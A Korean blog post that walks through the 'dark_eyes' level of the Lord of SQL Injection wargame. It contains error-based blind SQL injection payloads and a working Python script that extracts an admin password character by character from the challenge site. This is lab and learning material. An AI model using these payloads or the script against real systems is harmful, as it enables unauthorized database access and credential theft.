Almon Dev

[Lord of SQL Injection] dark_eyes 문제 풀이 본문

웹 해킹/Lord of SQLi

[Lord of SQL Injection] dark_eyes 문제 풀이

Almon 2025. 5. 16. 15:21

dark_eyes 문제 풀이

 

dark_eyes 문제

 

문제 분석

 

 문제 목표

GET 메서드의 pw 파라미터 값과 데이터베이스에서 가져온 admin 계정의 비밀번호가 일치할 경우, solve("dark_eyes") 함수가 실행됩니다. 이 함수는 문제를 성공적으로 해결했을 때 호출되는 것으로 보이므로,  이 문제의 목표는 admin 계정의 비밀번호를 탈취하는 것입니다.

$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");

 

 입력 제한

pw 파라미터에서 sleep, benchmark를 필터링하여 Time Based SQL Injection을 방지하고, if, case, when 또한 필터링하여 일부 조건문을 제한하고 있습니다.

if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");

 

 취약점 분석

pw 파라미터에서 sleep, benchmark, if, case when, col 외의 필터링이 존재하지 않아 SQL Injection이 확실히 가능하지만, 쿼리의 결과가 화면에 출력되지 않아, 원하는 정보를 추출하기가 힘듭니다. 하지만 SQL 문법 에러가 발생했을 때 빈 페이지가 화면에 출력되는 점을 이용해서 고의로 에러를 발생시켜 참과 거짓을 구분하여 Blind SQL Injection이 가능합니다.

 

문제 풀이

 

1. '를 삽입해서 SQL 문법 오류가 발생했을 때 빈 페이지가 출력되는 것을 확인합니다.

 

2. 조건문이 참일 때 에러가 발생하도록 쿼리를 삽입합니다.

=> pw=' or (select 1 union select 2 where (조건문)) and '1' = '1

 

3. 조건문이 거짓일 때 페이지가 정상 출력되는 것을 확인합니다.

 

4. 위의 쿼리에서 조건문 부분에 admin의 pw를 가져와 비교하는 쿼리를 삽입하여 공격 format을 생성합니다.

format =>  ' or id = 'admin' and (select 1 union select 2 (ascii(substring(pw, 1, 1)) > 0)) and '1' = '1

 

5. 공격 format을 반복하여 admin의 pw를 추출하는 Python 코드를 작성합니다.

=> ascii 값이 0부터 127까지라는 점을 이용해서 이진 탐색을 통해 한자리씩 추출하는 방법입니다.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
import codecs

def sqli_request(url, session, index, ascii):
    params = f"?pw=' or id = 'admin' and (select 1 union select 2 where (ascii(substring(pw, {index}, 1))) > {ascii}) and '1' = '1"
    url += params
    response = session.get(url)
    # response = session.get(url, proxies=proxies, verify=False)
    if "query" in response.text:
        return False
    else:
        return True

url = "https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php"
proxies = {
    "http": "http://localhost:8080",
    "https": "http://localhost:8080"
}

session = requests.Session()
session_id = "--PHPSESSID--"
session.cookies.set("PHPSESSID", session_id)

sql_result = ""

index = 1
while True:
    left = 0
    right = 127
    if not sqli_request(url, session, index, 0):
        sql_result = ""
        print("\n")
        break
    while True:
        mid = (left + right) // 2
        if sqli_request(url, session, index, mid):
            left = mid + 1
        else:
            right = mid
        
        if left == right:
            index += 1
            sql_result += chr(left)
            print(f"\rData : {sql_result}", end="")
            break

 

6. Python 코드를 실행하여 비밀번호를 추출합니다.

 

7. 문제 풀이를 완료합니다.